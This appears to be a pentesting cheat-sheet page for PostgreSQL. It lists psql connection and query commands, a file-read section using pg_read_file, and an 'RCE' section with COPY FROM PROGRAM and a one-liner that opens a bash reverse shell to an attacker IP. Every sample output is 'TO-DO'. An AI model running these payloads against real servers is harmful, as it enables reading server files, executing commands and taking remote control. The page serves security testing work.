Usage Tips:
- Click on a keyword to enable inline editing.
- Click inside a code block to copy (excludes comments).
- Use the button to view examples.
- Click outside to collapse all examples.
Connect
psql -h <TARGET> -U <USER>
Sample Output:
TO-DO
psql -h <TARGET> -U <USER> -p <PORT> -d <DB_NAME>
Sample Output:
TO-DO
psql 'postgresql://<USER>:<PASSWORD>@<TARGET>:5432/<DB_NAME>'
Sample Output:
TO-DO
General
# Show databases
\list
Sample Output:
TO-DO
# Use database
\connect <DB_NAME>
Sample Output:
TO-DO
# Show tables
\dt
Sample Output:
TO-DO
# Disable pager
\pset pager 0
Sample Output:
TO-DO
# Dump from table
select * from "<TABLE_NAME>";
Sample Output:
TO-DO
# Insert into table
insert into "<TABLE_NAME>" (<COLUMN_1>, <COLUMN_2>) values ('<VALUE_1>', '<VALUE_2>');
Sample Output:
TO-DO
# Update table
update "<TABLE_NAME>" set <COLUMN_1> = '<VALUE_1>' where <COLUMN_2> = '<VALUE_2>';
Sample Output:
TO-DO
# Write text
copy (select '<STRING>') to '<TARGET_PATH>';
Sample Output:
TO-DO
# List all user accounts
\du+
Sample Output:
TO-DO
# Exit
\q
Sample Output:
TO-DO
File Read
# List directory
SELECT * FROM pg_ls_dir('<DIR_PATH>');
Sample Output:
TO-DO
# File read
SELECT pg_read_file('<FILE_PATH>', 0, 4096);
Sample Output:
TO-DO
RCE
# Only for superuser
CREATE TABLE IF NOT EXISTS exec(string text);
Sample Output:
TO-DO
# Code execution
COPY exec FROM PROGRAM '<CMD>';
Sample Output:
TO-DO
# Check ouput
SELECT * FROM exec;
Sample Output:
TO-DO
# One-liner
DO $$ DECLARE c text; BEGIN c := 'COPY (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/<LOCAL_IP>/<PORT> 0>&1"'''; EXECUTE c; END $$;
Sample Output:
TO-DO